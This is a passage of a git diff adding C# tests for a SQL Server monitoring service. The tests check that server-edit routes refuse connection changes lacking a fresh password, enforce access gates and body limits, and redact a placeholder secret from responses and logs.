+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, null, ct);
+        }
+
+        var owner = NpgsqlDataSource.Create(ownerString);
+        await using (var command = owner.CreateCommand(@"INSERT INTO config_monitored_servers
+            (server_id, name, host, auth, username, encrypted_password, encrypt_mode, excluded_databases, is_enabled, monthly_cost_usd)
+            VALUES ($1, 'edit-rule', $2, $3, 'app-user', $4, 'Mandatory', ARRAY[]::text[], TRUE, 0)"))
+        {
+            command.Parameters.AddWithValue(ServerId);
+            command.Parameters.AddWithValue(StoredHost);
+            command.Parameters.AddWithValue(auth);
+            command.Parameters.AddWithValue(blob is null ? DBNull.Value : blob);
+            await command.ExecuteNonQueryAsync(ct);
+        }
+
+        if (remediationBlob is not null)
+        {
+            await using var remediation = owner.CreateCommand(
+                "UPDATE config_monitored_servers SET remediation_username = 'fix-login', remediation_encrypted_password = $2 WHERE server_id = $1");
+            remediation.Parameters.AddWithValue(ServerId);
+            remediation.Parameters.AddWithValue(remediationBlob);
+            await remediation.ExecuteNonQueryAsync(ct);
+        }
+
+        return new Rig(scratch, owner);
+    }
+
+    private static MonitoredServerRow Row(string auth, string host, string? blob, string encryptMode = "Mandatory", int port = 0) => new()
+    {
+        ServerId = ServerId,
+        Name = "edit-rule",
+        Host = host,
+        Port = port,
+        Auth = auth,
+        Username = "app-user",
+        EncryptedPassword = blob,
+        EncryptMode = encryptMode,
+    };
+
+    private static async Task<(string Host, string? Blob, string EncryptMode)> StoredAsync(Rig rig, CancellationToken ct)
+    {
+        await using var command = rig.Owner.CreateCommand(
+            "SELECT host, encrypted_password, encrypt_mode FROM config_monitored_servers WHERE server_id = $1");
+        command.Parameters.AddWithValue(ServerId);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct));
+        return (reader.GetString(0), reader.IsDBNull(1) ? null : reader.GetString(1), reader.GetString(2));
+    }
+
+    [Theory]
+    [InlineData("sql")]
+    [InlineData("serviceprincipal")]
+    public async Task AHostChange_ThatKeepsTheStoredBlob_IsRefused_WithTheWebsSentence_AndNothingIsWritten(string auth)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(auth, StoredBlob, ct);
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+
+        var refused = await Assert.ThrowsAsync<MonitoredServerPasswordNeededException>(
+            () => viewer.UpsertMonitoredServerAsync(Row(auth, MovedHost, StoredBlob), ct));
+        Assert.Equal(Edit.EditPasswordNeededText, refused.Message);
+
+        Assert.Equal((StoredHost, StoredBlob, "Mandatory"), await StoredAsync(rig, ct));
+    }
+
+    [Fact]
+    public async Task AHostChange_WithNoBlobAtAll_AndAPortChange_AreRefusedToo()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync("sql", StoredBlob, ct);
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+
+        await Assert.ThrowsAsync<MonitoredServerPasswordNeededException>(
+            () => viewer.UpsertMonitoredServerAsync(Row("sql", MovedHost, null), ct));
+        await Assert.ThrowsAsync<MonitoredServerPasswordNeededException>(
+            () => viewer.UpsertMonitoredServerAsync(Row("sql", StoredHost, StoredBlob, port: 5433), ct));
+
+        Assert.Equal((StoredHost, StoredBlob, "Mandatory"), await StoredAsync(rig, ct));
+    }
+
+    [Fact]
+    public async Task AHostChange_WithANewlyEnteredPassword_Saves()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync("sql", StoredBlob, ct);
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+
+        await viewer.UpsertMonitoredServerAsync(Row("sql", MovedHost, NewBlob), ct);
+
+        Assert.Equal((MovedHost, NewBlob, "Mandatory"), await StoredAsync(rig, ct));
+    }
+
+    [Fact]
+    public async Task ANonReachChange_KeepsTheStoredPassword()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync("sql", StoredBlob, ct);
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+
+        var renamed = Row("sql", StoredHost, StoredBlob);
+        renamed.Name = "edit-rule-renamed";
+        renamed.MonthlyCostUsd = 5m;
+        await viewer.UpsertMonitoredServerAsync(renamed, ct);
+
+        Assert.Equal((StoredHost, StoredBlob, "Mandatory"), await StoredAsync(rig, ct));
+        await using var read = rig.Owner.CreateCommand("SELECT name FROM config_monitored_servers WHERE server_id = $1");
+        read.Parameters.AddWithValue(ServerId);
+        Assert.Equal("edit-rule-renamed", (string?)await read.ExecuteScalarAsync(ct));
+    }
+
+    [Fact]
+    public async Task AWindowsAuthHostChange_Saves()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync("integrated", null, ct);
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+
+        await viewer.UpsertMonitoredServerAsync(Row("integrated", MovedHost, null), ct);
+
+        Assert.Equal((MovedHost, null, "Mandatory"), await StoredAsync(rig, ct));
+    }
+
+    [Theory]
+    [InlineData("sql", "serviceprincipal", "Switching to ServicePrincipal authentication needs the client secret as password.")]
+    [InlineData("serviceprincipal", "sql", "Switching to SQL authentication needs the password.")]
+    [InlineData("integrated", "sql", "Switching to SQL authentication needs the password.")]
+    public async Task AnAuthSwitch_ThatKeepsTheStoredBlob_OrCarriesNone_IsRefused_WithTheCoresSentence_AndNothingIsWritten(
+        string storedAuth, string newAuth, string sentence)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var storedBlob = storedAuth == "integrated" ? null : StoredBlob;
+        await using var rig = await OpenAsync(storedAuth, storedBlob, ct);
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+
+        if (storedBlob is not null)
+        {
+            var kept = await Assert.ThrowsAsync<MonitoredServerPasswordNeededException>(
+                () => viewer.UpsertMonitoredServerAsync(Row(newAuth, StoredHost, StoredBlob), ct));
+            Assert.Equal(sentence, kept.Message);
+        }
+
+        var none = await Assert.ThrowsAsync<MonitoredServerPasswordNeededException>(
+            () => viewer.UpsertMonitoredServerAsync(Row(newAuth, StoredHost, null), ct));
+        Assert.Equal(sentence, none.Message);
+
+        Assert.Equal((StoredHost, storedBlob, "Mandatory"), await StoredAsync(rig, ct));
+    }
+
+    [Theory]
+    [InlineData("sql", "serviceprincipal")]
+    [InlineData("serviceprincipal", "sql")]
+    [InlineData("integrated", "sql")]
+    public async Task AnAuthSwitch_WithANewlyEnteredSecret_Saves(string storedAuth, string newAuth)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(storedAuth, storedAuth == "integrated" ? null : StoredBlob, ct);
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+
+        await viewer.UpsertMonitoredServerAsync(Row(newAuth, StoredHost, NewBlob), ct);
+
+        Assert.Equal((StoredHost, NewBlob, "Mandatory"), await StoredAsync(rig, ct));
+    }
+
+    [Fact]
+    public async Task ASwitchOutOfASecretMode_NeedsNoSecret_AndSaves()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync("sql", StoredBlob, ct);
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+
+        await viewer.UpsertMonitoredServerAsync(Row("integrated", StoredHost, null), ct);
+
+        Assert.Equal((StoredHost, null, "Mandatory"), await StoredAsync(rig, ct));
+    }
+
+    public static IEnumerable<object[]> ConnectionFields() =>
+        new[] { "encrypt mode", "trust certificate", "multi-subnet", "username", "database", "read-only", "engine", "port", "host" }
+            .Select(f => new object[] { f });
+
+    private static MonitoredServerRow Changed(string field, string auth, string? blob)
+    {
+        var row = Row(auth, StoredHost, blob);
+        switch (field)
+        {
+            case "encrypt mode": row.EncryptMode = "Optional"; break;
+            case "trust certificate": row.TrustServerCertificate = true; break;
+            case "multi-subnet": row.MultiSubnetFailover = true; break;
+            case "username": row.Username = "other-user"; break;
+            case "database": row.Database = "tempdb"; break;
+            case "read-only": row.ReadOnlyIntent = true; break;
+            case "engine": row.Engine = "postgres"; break;
+            case "port": row.Port = 5433; break;
+            case "host": row.Host = MovedHost; break;
+            default: throw new ArgumentException(field);
+        }
+
+        return row;
+    }
+
+    /// <summary>The sentence the web and MCP edit give for a row with a remediation login. Held here as text because the
+    /// two apps carry it as separate constants.</summary>
+    private const string RemediationSentence =
+        "This server has a remediation login stored. Change how it is reached on the service host, in the configuration file or with --add-server.";
+
+    [Fact]
+    public void TheViewersRemediationSentence_IsTheSharedSentence()
+    {
+        Assert.Equal(RemediationSentence, ViewerDataService.RemediationKeptText);
+        Assert.Equal("PW003", ViewerDataService.StoreRemediationKeptSqlState);
+    }
+
+    [Theory]
+    [MemberData(nameof(ConnectionFields))]
+    public async Task AnyConnectionChange_ThatKeepsTheStoredBlob_IsRefusedBeforeTheWrite(string field)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync("sql", StoredBlob, ct);
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+
+        var refused = await Assert.ThrowsAsync<MonitoredServerPasswordNeededException>(
+            () => viewer.UpsertMonitoredServerAsync(Changed(field, "sql", StoredBlob), ct));
+        Assert.Equal(Edit.EditPasswordNeededText, refused.Message);
+        var blank = await Assert.ThrowsAsync<MonitoredServerPasswordNeededException>(
+            () => viewer.UpsertMonitoredServerAsync(Changed(field, "sql", null), ct));
+        Assert.Equal(Edit.EditPasswordNeededText, blank.Message);
+
+        Assert.Equal((StoredHost, StoredBlob, "Mandatory"), await StoredAsync(rig, ct));
+    }
+
+    [Theory]
+    [MemberData(nameof(ConnectionFields))]
+    public async Task AnyConnectionChange_WithANewlyEnteredPassword_Saves(string field)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync("sql", StoredBlob, ct);
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+
+        await viewer.UpsertMonitoredServerAsync(Changed(field, "sql", NewBlob), ct);
+
+        var stored = await StoredAsync(rig, ct);
+        Assert.Equal(NewBlob, stored.Blob);
+    }
+
+    [Theory]
+    [InlineData("sql", "stored-blob")]
+    [InlineData("integrated", null)]
+    public async Task AConnectionChange_OnARowWithARemediationSecret_IsRefusedBeforeTheWrite_WithTheSharedSentence(string auth, string? blob)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        foreach (var field in ConnectionFields().Select(f => (string)f[0]))
+        {
+            await using var rig = await OpenAsync(auth, blob, ct, remediationBlob: "remediation-blob");
+            await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+
+            /* A password typed with the change does not help: the refusal does not depend on it. */
+            var typed = await Assert.ThrowsAsync<MonitoredServerPasswordNeededException>(
+                () => viewer.UpsertMonitoredServerAsync(Changed(field, auth, auth == "sql" ? NewBlob : null), ct));
+            Assert.Equal(RemediationSentence, typed.Message);
+
+            Assert.Equal((StoredHost, blob, "Mandatory"), await StoredAsync(rig, ct));
+        }
+    }
+
+    [Fact]
+    public async Task ANonConnectionChange_OnARowWithARemediationSecret_Saves()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync("sql", StoredBlob, ct, remediationBlob: "remediation-blob");
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+
+        var renamed = Row("sql", StoredHost, StoredBlob);
+        renamed.MonthlyCostUsd = 7m;
+        await viewer.UpsertMonitoredServerAsync(renamed, ct);
+
+        Assert.Equal((StoredHost, StoredBlob, "Mandatory"), await StoredAsync(rig, ct));
+    }
+}
diff --git a/Darling/Darling.Tests/ServerEditRouteTests.cs b/Darling/Darling.Tests/ServerEditRouteTests.cs
new file mode 100644
index 0000000000..01fb6d3893
--- /dev/null
+++ b/Darling/Darling.Tests/ServerEditRouteTests.cs
@@ -0,0 +1,822 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Net.Http;
+using System.Text;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// <c>PATCH /api/servers/{id}</c> and <c>GET /api/admin/servers/{id}</c> (#5240) through a real host over a store that
+/// is never opened: the gates, limits, status mapping, audit line, credential handling and the slot SHARED with
+/// <c>POST /api/servers</c>, with the edit and add cores stood in by stubs. The edit core itself is covered by
+/// <c>ServerEditCoreTests</c> / <c>ServerEditLiveTests</c>, and the grant it writes under by
+/// <c>ServerEditViewerRoleLiveTests</c>.
+/// </summary>
+public sealed class ServerEditRouteTests
+{
+    private const string FakeSecret = "Zq9-fake-secret-must-never-appear-7XK";
+    private const string Token = "2026-10-05T12:00:00.1234567";
+
+    private const string UpdatedAnswer =
+        "{\"status\":\"updated\",\"server\":\"sql01\",\"display_name\":\"Orders\",\"server_id\":41,\"changed\":[\"display_name\",\"monthly_cost_usd\"],\"reconnects\":true,\"tested\":false,\"modified_at\":\"2026-10-05T12:00:01.0000001\",\"note\":\"n\"}";
+
+    private const string AddedAnswer =
+        "{\"requested\":1,\"added\":1,\"skipped\":0,\"collided\":0,\"failed\":0,\"results\":[{\"server\":\"sql01\",\"status\":\"added\",\"detail\":\"Connected\"}]}";
+
+    private static string Changes(string extra = "\"display_name\":\"Orders\"") =>
+        "{" + extra + ",\"expected_modified_at\":\"" + Token + "\"}";
+
+    private sealed class Rig : IAsyncDisposable
+    {
+        public required WebApplication App { get; init; }
+        public required HttpClient Client { get; init; }
+        public required CapturingTestLogger Log { get; init; }
+        public required NpgsqlDataSource Source { get; init; }
+        public required List<(int Id, string Body)> Edits { get; init; }
+
+        public async ValueTask DisposeAsync()
+        {
+            Client.Dispose();
+            await App.DisposeAsync();
+            await Source.DisposeAsync();
+        }
+    }
+
+    private static async Task<Rig> StartAsync(
+        Func<int, string, Task<string>>? edit = null, Func<string, Task<string>>? add = null, bool useWriteGate = false,
+        TimeSpan? editTimeout = null, TimeSpan? addTimeout = null,
+        Func<int, Task<DarlingMcpServerAdminTools.ServerEditRow?>>? read = null)
+    {
+        var builder = WebApplication.CreateBuilder();
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        var app = builder.Build();
+        var log = new CapturingTestLogger();
+        var source = NpgsqlDataSource.Create("Host=localhost;Database=never_opened;Username=nobody");
+        var edits = new List<(int, string)>();
+
+        app.Use(async (context, next) =>
+        {
+            var seat = context.Request.Headers["X-Seat"] == "viewer"
+                ? new DarlingWebSeat("bob", false)
+                : new DarlingWebSeat(Uri.UnescapeDataString(context.Request.Headers["X-Principal"].FirstOrDefault() ?? "alice"), true);
+            context.Items[DarlingWebSeat.HttpContextItemKey] = seat;
+            if (useWriteGate && !DarlingWebSeat.IsRequestAllowed(seat, context.Request.Method, context.Request.Path.Value ?? "/"))
+            {
+                context.Response.StatusCode = StatusCodes.Status403Forbidden;
+                return;
+            }
+
+            await next(context);
+        });
+        DarlingWebEndpoints.MapServers(
+            app, source, log,
+            add ?? (_ => Task.FromResult(AddedAnswer)), addTimeout,
+            (id, body) =>
+            {
+                lock (edits)
+                {
+                    edits.Add((id, body));
+                }
+
+                return (edit ?? ((_, _) => Task.FromResult(UpdatedAnswer)))(id, body);
+            },
+            editTimeout, read);
+        await app.StartAsync(TestContext.Current.CancellationToken);
+        return new Rig { App = app, Client = app.GetTestClient(), Log = log, Source = source, Edits = edits };
+    }
+
+    private static async Task<(HttpStatusCode Status, string Body)> SendAsync(
+        Rig rig, HttpMethod method, string path, string? body = null, string mediaType = "application/json", string? seat = null, string? principal = null)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        using var request = new HttpRequestMessage(method, path);
+        if (body is not null)
+        {
+            request.Content = new StringContent(body, Encoding.UTF8, mediaType);
+        }
+
+        if (seat is not null)
+        {
+            request.Headers.Add("X-Seat", seat);
+        }
+
+        if (principal is not null)
+        {
+            request.Headers.Add("X-Principal", Uri.EscapeDataString(principal));
+        }
+
+        using var response = await rig.Client.SendAsync(request, ct);
+        return (response.StatusCode, await response.Content.ReadAsStringAsync(ct));
+    }
+
+    private static Task<(HttpStatusCode Status, string Body)> PatchAsync(
+        Rig rig, string body, int id = 41, string mediaType = "application/json", string? seat = null, string? principal = null) =>
+        SendAsync(rig, HttpMethod.Patch, "/api/servers/" + id, body, mediaType, seat, principal);
+
+    /// <summary>Waits for a captured log line that contains <paramref name="fragment"/>. A late audit line is written by
+    /// a thread-pool continuation after the 503 was answered, so a test waits for it and never asserts the instant it
+    /// releases the core.</summary>
+    private static async Task WaitForLogLineAsync(Rig rig, string fragment)
+    {
+        var deadline = DateTime.UtcNow.AddSeconds(10);
+        while (!rig.Log.Lines.Any(l => l.Contains(fragment, StringComparison.Ordinal)))
+        {
+            Assert.True(DateTime.UtcNow < deadline, $"no log line contained \"{fragment}\"; the log held: {rig.Log.Joined}");
+            await Task.Delay(20, TestContext.Current.CancellationToken);
+        }
+    }
+
+    private static Task<(HttpStatusCode Status, string Body)> PostAddAsync(Rig rig) =>
+        SendAsync(rig, HttpMethod.Post, "/api/servers", "[{\"host\":\"sql01\"}]");
+
+    private static void AssertNoSecret(Rig rig, string responseBody)
+    {
+        Assert.DoesNotContain(FakeSecret, responseBody, StringComparison.Ordinal);
+        Assert.DoesNotContain(FakeSecret, rig.Log.Joined, StringComparison.Ordinal);
+    }
+
+    /* ═══════════════════════ status mapping ═══════════════════════ */
+
+    [Theory]
+    [InlineData("{\"status\":\"updated\"}", 200)]
+    [InlineData("{\"status\":\"unchanged\"}", 200)]
+    [InlineData("{\"status\":\"invalid\",\"message\":\"m\"}", 400)]
+    [InlineData("{\"status\":\"not_found\",\"message\":\"m\"}", 404)]
+    [InlineData("{\"status\":\"conflict\",\"message\":\"m\",\"current\":{}}", 409)]
+    [InlineData("{\"status\":\"collides\",\"message\":\"m\"}", 409)]
+    [InlineData("{\"status\":\"connection_failed\",\"message\":\"m\"}", 200)]
+    [InlineData("{\"status\":\"error\",\"message\":\"boom\"}", 500)]
+    [InlineData("{\"status\":\"somethingNew\"}", 500)]
+    [InlineData("not json at all", 400)]
+    public void ServerEditEnvelopeStatus_MapsTheEditVocabularyOntoHttp(string envelope, int expected) =>
+        Assert.Equal(expected, DarlingWebEndpoints.ServerEditEnvelopeStatus(envelope));
+
+    [Fact]
+    public async Task EveryCoreStatus_ReachesTheWireUnderItsMappedCode_WithTheEnvelopeAsTheBody()
+    {
+        var cases = new (string Envelope, HttpStatusCode Expected)[]
+        {
+            (UpdatedAnswer, HttpStatusCode.OK),
+            ("{\"status\":\"unchanged\",\"message\":\"m\"}", HttpStatusCode.OK),
+            ("{\"status\":\"invalid\",\"message\":\"m\"}", HttpStatusCode.BadRequest),
+            ("{\"status\":\"not_found\",\"message\":\"m\"}", HttpStatusCode.NotFound),
+            ("{\"status\":\"conflict\",\"message\":\"m\",\"current\":{\"modified_at\":\"t\"}}", HttpStatusCode.Conflict),
+            ("{\"status\":\"collides\",\"message\":\"m\"}", HttpStatusCode.Conflict),
+            ("{\"status\":\"connection_failed\",\"message\":\"Could not connect. Nothing was saved.\"}", HttpStatusCode.OK),
+        };
+        foreach (var (envelope, expected) in cases)
+        {
+            await using var rig = await StartAsync(edit: (_, _) => Task.FromResult(envelope));
+            var (status, body) = await PatchAsync(rig, Changes());
+            Assert.Equal(expected, status);
+            Assert.Equal(JsonNode.Parse(envelope)!["status"]!.GetValue<string>(), JsonNode.Parse(body)!["status"]!.GetValue<string>());
+        }
+    }
+
+    [Fact]
+    public async Task AConflict_CarriesTheCurrentValues_ToTheCaller()
+    {
+        const string conflict = "{\"status\":\"conflict\",\"message\":\"m\",\"current\":{\"display_name\":\"Orders\",\"modified_at\":\"t2\"}}";
+        await using var rig = await StartAsync(edit: (_, _) => Task.FromResult(conflict));
+        var (status, body) = await PatchAsync(rig, Changes());
+        Assert.Equal(HttpStatusCode.Conflict, status);
+        Assert.Equal("t2", JsonNode.Parse(body)!["current"]!["modified_at"]!.GetValue<string>());
+    }
+
+    [Fact]
+    public async Task TheCoresCaughtExceptionEnvelope_NeverReachesTheWire_NorTheLog()
+    {
+        var error = "{\"status\":\"error\",\"message\":\"Error during edit_server: 28P01 password authentication failed for user 'x' " + FakeSecret + "\"}";
+        await using var rig = await StartAsync(edit: (_, _) => Task.FromResult(error));
+        var (status, body) = await PatchAsync(rig, Changes("\"password\":\"" + FakeSecret + "\""));
+        Assert.True((int)status >= 500);
+        AssertNoSecret(rig, body);
+        Assert.DoesNotContain("28P01", body, StringComparison.Ordinal);
+    }
+
+    /* ═══════════════════════ gates ═══════════════════════ */
+
+    [Fact]
+    public async Task AReadOnlySeat_Answers403_AndReachesNoCore_WithOrWithoutTheHostWriteGate()
+    {
+        foreach (var gate in new[] { false, true })
+        {
+            await using var rig = await StartAsync(useWriteGate: gate);
+            var (status, body) = await PatchAsync(rig, Changes("\"password\":\"" + FakeSecret + "\""), seat: "viewer");
+            Assert.Equal(HttpStatusCode.Forbidden, status);
+            Assert.Empty(rig.Edits);
+            AssertNoSecret(rig, body);
+        }
+    }
+
+    [Theory]
+    [InlineData("text/plain")]
+    [InlineData("application/x-www-form-urlencoded")]
+    [InlineData("multipart/form-data")]
+    public async Task ANonJsonContentType_Answers415_AndReachesNoCore(string mediaType)
+    {
+        await using var rig = await StartAsync();
+        var (status, _) = await PatchAsync(rig, Changes(), mediaType: mediaType);
+        Assert.Equal(HttpStatusCode.UnsupportedMediaType, status);
+        Assert.Empty(rig.Edits);
+    }
+
+    [Fact]
+    public async Task OnlyPatchIsRoutedOnTheEditPath_EveryOtherUnsafeMethodIsRefused405()
+    {
+        await using var rig = await StartAsync();
+        foreach (var method in new[] { HttpMethod.Post, HttpMethod.Put, HttpMethod.Delete })
+        {
+            var (status, _) = await SendAsync(rig, method, "/api/servers/41", Changes());
+            Assert.Equal(HttpStatusCode.MethodNotAllowed, status);
+        }
+
+        Assert.Empty(rig.Edits);
+    }
+
+    [Fact]
+    public async Task ANonNumericId_IsNotRouted()
+    {
+        await using var rig = await StartAsync();
+        var (status, _) = await SendAsync(rig, HttpMethod.Patch, "/api/servers/abc", Changes());
+        Assert.Equal(HttpStatusCode.NotFound, status);
+        Assert.Empty(rig.Edits);
+    }
+
+    [Theory]
+    [InlineData("PATCH", "/api/servers/41", false)]
+    [InlineData("PATCH", "/api/servers/41", true)]
+    [InlineData("GET", "/api/admin/servers/41", false)]
+    [InlineData("GET", "/api/admin/servers/41", true)]
+    public void TheHostWriteGate_RefusesAReadOnlySeatOnlyTheUnsafeEditMethod(string method, string path, bool canEdit) =>
+        Assert.Equal(method == "GET" || canEdit, DarlingWebSeat.IsRequestAllowed(new DarlingWebSeat("who", canEdit), method, path));
+
+    /* ═══════════════════════ body ═══════════════════════ */
+
+    [Fact]
+    public async Task TheBodyIsPassedToTheCoreUnchanged_WithTheRouteId()
+    {
+        await using var rig = await StartAsync();
+        var body = Changes("\"monthly_cost_usd\":12.5");
+        var (status, answer) = await PatchAsync(rig, body, id: 77);
+        Assert.Equal(HttpStatusCode.OK, status);
+        Assert.Equal((77, body), Assert.Single(rig.Edits));
+        Assert.Equal("updated", JsonNode.Parse(answer)!["status"]!.GetValue<string>());
+    }
+
+    [Fact]
+    public async Task AnOversizedBody_Answers400_AtTheCap_WithoutTheBody()
+    {
+        await using var rig = await StartAsync();
+        var padding = new string('x', DarlingWebEndpoints.MaxServerEditBodyBytes);
+        var (status, body) = await PatchAsync(rig, Changes("\"display_name\":\"" + padding + "\""));
+        Assert.Equal(HttpStatusCode.BadRequest, status);
+        Assert.Empty(rig.Edits);
+        Assert.DoesNotContain("xxxxxxxx", body, StringComparison.Ordinal);
+
+        /* A body just under the cap still reaches the core. */
+        var fits = Changes("\"display_name\":\"" + new string('x', DarlingWebEndpoints.MaxServerEditBodyBytes - 200) + "\"");
+        Assert.True(Encoding.UTF8.GetByteCount(fits) < DarlingWebEndpoints.MaxServerEditBodyBytes);
+        Assert.Equal(HttpStatusCode.OK, (await PatchAsync(rig, fits)).Status);
+    }
+
+    [Theory]
+    [InlineData("")]
+    [InlineData("not json")]
+    [InlineData("[]")]
+    [InlineData("\"text\"")]
+    [InlineData("null")]
+    [InlineData("{\"display_name\":\"a\",\"display_name\":\"b\",\"expected_modified_at\":\"t\"}")]
+    [InlineData("{\"display_name\":\"a\"}")]
+    [InlineData("{\"display_name\":\"a\",\"expected_modified_at\":\"\"}")]
+    [InlineData("{\"display_name\":\"a\",\"expected_modified_at\":123}")]
+    [InlineData("{\"display_name\":\"a\",\"expected_modified_at\":null}")]
+    public async Task EveryMalformedBody_OrAMissingToken_Answers400_BeforeTheCore_AndEchoesNothing(string malformed)
+    {
+        await using var rig = await StartAsync();
+        var (status, body) = await PatchAsync(rig, malformed);
+        Assert.Equal(HttpStatusCode.BadRequest, status);
+        Assert.Empty(rig.Edits);
+        Assert.DoesNotContain("display_name", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheMissingTokenRefusal_NamesTheToken_AndTheDuplicateRefusal_NamesNoValue()
+    {
+        Assert.False(DarlingWebEndpoints.TryReadServerEditBody("{\"host\":\"h\"}", out _, out var missing));
+        Assert.Contains("expected_modified_at", missing, StringComparison.Ordinal);
+        Assert.False(DarlingWebEndpoints.TryReadServerEditBody("{\"host\":\"" + FakeSecret + "\",\"host\":\"b\"}", out _, out var duplicate));
+        Assert.DoesNotContain(FakeSecret, duplicate, StringComparison.Ordinal);
+        Assert.True(DarlingWebEndpoints.TryReadServerEditBody(Changes(), out var parsed, out var none));
+        Assert.Null(none);
+        Assert.Equal(Token, parsed["expected_modified_at"]!.GetValue<string>());
+    }
+
+    /* ═══════════════════════ credentials and audit ═══════════════════════ */
+
+    [Fact]
+    public async Task ASecretThatSomehowReachesTheCoresAnswer_IsRedactedBeforeItIsWritten()
+    {
+        var leaky = "{\"status\":\"connection_failed\",\"message\":\"Could not connect: login failed for " + FakeSecret + ". Nothing was saved.\"}";
+        await using var rig = await StartAsync(edit: (_, _) => Task.FromResult(leaky));
+        var (status, body) = await PatchAsync(rig, Changes("\"password\":\"" + FakeSecret + "\""));
+        Assert.Equal(HttpStatusCode.OK, status);
+        Assert.Contains("[redacted]", body, StringComparison.OrdinalIgnoreCase);
+        AssertNoSecret(rig, body);
+    }
+
+    [Fact]
+    public void RedactEditAnswer_RemovesTheSecretInItsRawAndJsonEscapedSpelling()
+    {
+        const string secret = "p\"w\\d";
+        /* Serialized the way the core writes it: on the wire the secret's quote and backslash are escaped, so the text
+           holds only the escaped spelling and the redaction has to work on the parsed value. */
+        var escaped = System.Text.Json.JsonSerializer.Serialize(secret)[1..^1];
+        var answer = new JsonObject { ["status"] = "connection_failed", ["message"] = "bad " + secret + " and again " + secret }.ToJsonString();
+        Assert.Contains(escaped, answer, StringComparison.Ordinal);
+        Assert.DoesNotContain(secret, answer, StringComparison.Ordinal);
+
+        var redacted = DarlingWebEndpoints.RedactEditAnswer(answer, new[] { secret });
+        Assert.DoesNotContain(secret, redacted, StringComparison.Ordinal);
+        Assert.DoesNotContain(escaped, redacted, StringComparison.Ordinal);
+        var envelope = JsonNode.Parse(redacted)!.AsObject();
+        Assert.Equal("bad [redacted] and again [redacted]", envelope["message"]!.GetValue<string>());
+        Assert.Equal("connection_failed", envelope["status"]!.GetValue<string>());
+        Assert.Equal(answer, DarlingWebEndpoints.RedactEditAnswer(answer, Array.Empty<string>()));
+    }
+
+    /// <summary>The whole-text replace this pins against turned a secret that spelled a key, a number or an engine word
+    /// into a hole in the answer's structure, so a committed edit read as a failure and its audit line was dropped.</summary>
+    [Theory]
+    [InlineData("41")]
+    [InlineData("true")]
+    [InlineData("false")]
+    [InlineData("postgres")]
+    [InlineData("status")]
+    [InlineData("updated")]
+    [InlineData("sql01")]
+    [InlineData("current")]
+    public void RedactEditAnswer_NeverRewritesAStructuredField_WhateverTheSecretSpells(string secret)
+    {
+        var stored = "{\"status\":\"conflict\",\"message\":\"The server changed since it was read.\",\"current\":{\"engine\":\"postgres\","
+            + "\"username\":\"postgres\",\"host\":\"sql01\",\"display_name\":\"Orders\",\"server_id\":41,\"trust_server_certificate\":true,\"read_only_intent\":false}}";
+        foreach (var answer in new[] { UpdatedAnswer, stored })
+        {
+            var redacted = DarlingWebEndpoints.RedactEditAnswer(answer, new[] { secret });
+            Assert.True(
+                JsonNode.DeepEquals(JsonNode.Parse(answer), JsonNode.Parse(redacted)),
+                $"a secret spelled \"{secret}\" rewrote a structured field: {redacted}");
+        }
+    }
+
+    [Fact]
+    public void RedactEditAnswer_ReplacesAnAnswerThatDoesNotParse_WithAFixedBody_AndRedactsAnythingThatIsNotAnObject()
+    {
+        var broken = DarlingWebEndpoints.RedactEditAnswer("{\"status\":\"updated\" " + FakeSecret + " ", new[] { FakeSecret });
+        Assert.DoesNotContain(FakeSecret, broken, StringComparison.Ordinal);
+        Assert.Equal("error", JsonNode.Parse(broken)!["status"]!.GetValue<string>());
+
+        Assert.Equal("[\"x [redacted] y\"]", DarlingWebEndpoints.RedactEditAnswer("[\"x " + FakeSecret + " y\"]", new[] { FakeSecret }));
+    }
+
+    [Theory]
+    [InlineData("41")]
+    [InlineData("true")]
+    [InlineData("updated")]
+    [InlineData("sql01")]
